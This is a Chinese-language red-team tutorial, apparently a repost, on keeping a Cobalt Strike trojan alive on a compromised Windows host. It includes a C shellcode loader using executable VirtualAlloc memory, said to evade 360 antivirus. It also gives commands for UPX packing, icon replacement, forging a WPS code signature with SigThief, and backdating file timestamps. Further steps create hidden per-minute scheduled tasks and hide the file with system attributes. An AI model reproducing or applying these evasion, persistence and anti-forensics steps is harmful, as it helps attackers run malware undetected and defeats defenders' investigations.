在红蓝对抗的过程中,远控木马起到了相当重要的作用,而面对蓝队技术人员的种种查杀,远控木马如何在目标机器上长久的存活下去
cobalt strike生成shellcode.c
可以根据目标机器安装的杀毒软件制作有针对性的免杀马,当然,能够BypassAV是最好不过的了,为了节约时间成本,选择使用申请动态内存的方式加载shellcode生成免杀木马
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] =
"shellcode";
main()
{
char *Memory;
Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}
可以通过360的静态免杀,动态操作也没有任何报毒提示
这里生成的shellcode为64为的执行代码,使用upx进行加壳
项目地址
https://github.com/upx/upx
.\upx.exe C:\Users\33519\Desktop\shellcode.exe
文件加壳后属性对比
使用BeCyIconGrabberPortable提取图标
项目地址
https://github.com/JarlPenguin/BeCyIconGrabberPortable
使用Resource hacker替换木马程序的图标
使用SigThief对木马程序进行数字签名伪造
项目地址
https://github.com/secretsquirrel/SigThief
使用wps的数字签名进行伪造
python .\sigthief.py -i wps.exe -t .\shellcode.exe -o shellcode2.exe
-i 自带签名的文件
-t 未加签名的文件
-o 输出文件
shellcode2为伪造数字签名后的木马文件
蓝队技术人员通常会在时间顺序上排查攻击者上传的文件,我们上传的木马文件是最新的,所以使用ChTimeStamp伪造文件修改的时间
项目地址
https://github.com/MsF-NTDLL/ChTimeStamp
ChTimeStamp.exe C:\Users\canxue\Desktop\shellcode2.exe "C:\Program Files (x86)\360\360Safe\360bps.dat"
360bps.bat为安装360时创建的文件,时间为一月份
修改前后文件属性对比
通过everything筛查文件不会发现近期上传的木马文件
使用SchTask创建隐藏的自启动任务
项目地址
https://github.com/0x727/SchTask_0x727/tree/main
选择主机随机进程名作为计划任务程序文件名
将计划任务程序文件复制到 `%AppData%\Microsoft\Windows\Themes\` 中
创建的计划任务名取同一随机进程名
计划任务触发器以分钟为单位,无限期持续
更改 Index、删除 SD 的键值,隐藏计划任务对应的 XML 文件
SchTask.exe shellcode2.exe 1
设置每分钟执行一次计划任务,计划任务为执行shellcode2.exe程序
被隐藏的计划任务,在注册表中可以看到
一分钟后自动执行木马程序,cobalt strike可以正常接收到反弹的shell
可以正常上线,命令也可以正常执行
attrib +s +h +r
使用此命令深度隐藏木马文件,即使打开查看隐藏文件选项也无法显示文件
原文链接:https://xz.aliyun.com/t/12973#toc-4